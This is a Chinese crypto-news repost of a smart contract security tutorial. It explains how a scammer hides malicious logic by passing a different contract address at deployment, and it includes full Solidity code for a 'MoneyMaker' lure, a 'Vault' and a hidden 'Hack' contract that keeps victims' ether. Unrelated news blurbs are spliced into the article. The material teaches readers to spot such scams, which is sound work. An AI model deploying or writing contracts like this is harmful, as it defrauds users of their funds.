以太幣交易所 以太幣交易所
Ctrl+D 以太幣交易所
ads
首頁 > UNI > Info

智能合約安全審計入門篇 —— 移花接木_NBS

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

Hedera推出兼容EVM的智能合約2.0服務:Hedera宣布推出其智能合約2.0服務,據悉,智能合約2.0使用Solidity語言開發并與EVM兼容,Hedera的智能合約服務將與Hedera Token服務(HTS)集成。[2022/2/5 9:33:02]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

KSwap智能合約已通過知道創宇和armos安全審計:近日KSwap智能合約通過知道創宇和armos的安全審計。兩家審計機構均認為,KSwap代碼庫的組織結構相對清晰,風控系統較嚴謹。

KSwap是一個部署在OKExChain上的去中心化交易平臺。KSwap實現了數字貨幣的兌換,以及流動性挖礦與交易挖礦等多種挖礦機制,同時也率先推出KUniverse和KStarter等產品。[2021/7/29 1:22:36]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

動態 | 公鏈項目Algorand發布2.0 升級,創建原子傳輸和智能合約功能:公鏈項目Algorand發布 2.0 升級,該版本可直接在區塊鏈的第一層Layer 1提供標準化的資產創建、原子傳輸和智能合約功能,從而更好的利用Algorand協議的可延展性和安全性。這是一個主要的協議升級,它顯著擴展了可以在 Algorand 平臺上構建的分散應用程序 (Dapps) 和進程的范圍。有了這些直接構建到第一層的新特性,可以在不犧牲性能或安全性的情況下創建企業級分布式應用程序。[2019/11/21]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

聲音 | 綠洲實驗室創始人宋曉冬:智能合約可為企業提供有效的欺詐監測的模型:綠洲實驗室(Oasis Labs)創始人兼首席執行官宋曉冬近日稱,企業往往對于欺詐監測有一定的需求。一般來說,企業應用方提供越多的數據,對于欺詐的監測便會越精準。但是由于現實原因,很多數據無法共享,欺詐監測便會陷入困境。但是通過智能合同的應用,把數據放在不同的數據集里使用,通過不同的數據源建立模型,便可以提供更為有效的欺詐監測的模型。[2018/11/20]

深圳市金融科技協會理事:鼓勵建設基于區塊鏈和智能合約技術的綠色資產開發和綠色債券審核交易平臺:深圳綠金委副秘書長、深圳市金融科技協會理事黃曉寧在《證券時報》今日發文稱,深圳在新一輪的科技浪潮前遙遙領先,人工智能與金融科技領域蓬勃發展。可利用區塊鏈、大數據、云計算、人工智能、電子支付等新興技術,開展綠色金融業務創新、提升運行效率、有效防控風險,促進創新型綠色金融基礎設施平臺發展。鼓勵建設基于區塊鏈和智能合約技術的綠色資產開發和綠色債券審核交易平臺。[2018/6/16]

Tags:NBSBSPQUOMAKEnbs幣發行量BSPAYQUON幣makerdao白皮書

UNI
金色Web3.0日報 | 比特幣減半剩下不到50,000個區塊_NFT

DeFi數據 1、DeFi代幣總市值:469.45億美元 DeFi總市值及前十代幣 數據來源:coingecko2、過去24小時去中心化交易所的交易量12.

1900/1/1 0:00:00
數碼港元先導計劃啟動 金融創新公司如何抓住機會?_TECH

金色財經記者 Jessy5月18日,香港金融管理局宣布啟動“數碼港元”先導計劃。包括中國銀行(香港)、恒生銀行、Alipay Financial Services (HK) Limited等在內.

1900/1/1 0:00:00
Game Dosi:日本通訊巨頭LINE的Web3游戲初體驗_AME

5月18日,Game Dosi正式發布,并同步開售會員服務,包括黃金和白金級NFT通行證,這些通行證可以提供提前體驗新游戲等福利.

1900/1/1 0:00:00
警惕eth_sign盲簽騙局:介紹、手段及防范

近期,我們注意到 eth_sign 盲簽騙局異常活躍,許多用戶在不明網站上被誘導簽署看似無害的 eth_sign 簽名,結果造成錢包內的資產不翼而飛.

1900/1/1 0:00:00
因流動性擔憂加劇 比特幣價格一度跌破2.7萬美元_HOOK

最大的加密貨幣比特幣在兩周多以來首次短暫跌破2.7萬美元,人們擔心機構做市商的參與度下降將引發更劇烈的價格波動.

1900/1/1 0:00:00
金色早報 | 美國總統拜登呼吁實施更嚴格的全球加密貨幣監管_區塊鏈

金色財經報道,在FTX崩潰之后,全球監管機構正在就實施全球加密貨幣監管進行談判。為防止再次發生類似FTX的事件并保護投資者和其他實體,美國拜登總統已經就加密貨幣領域發表了他的看法.

1900/1/1 0:00:00
ads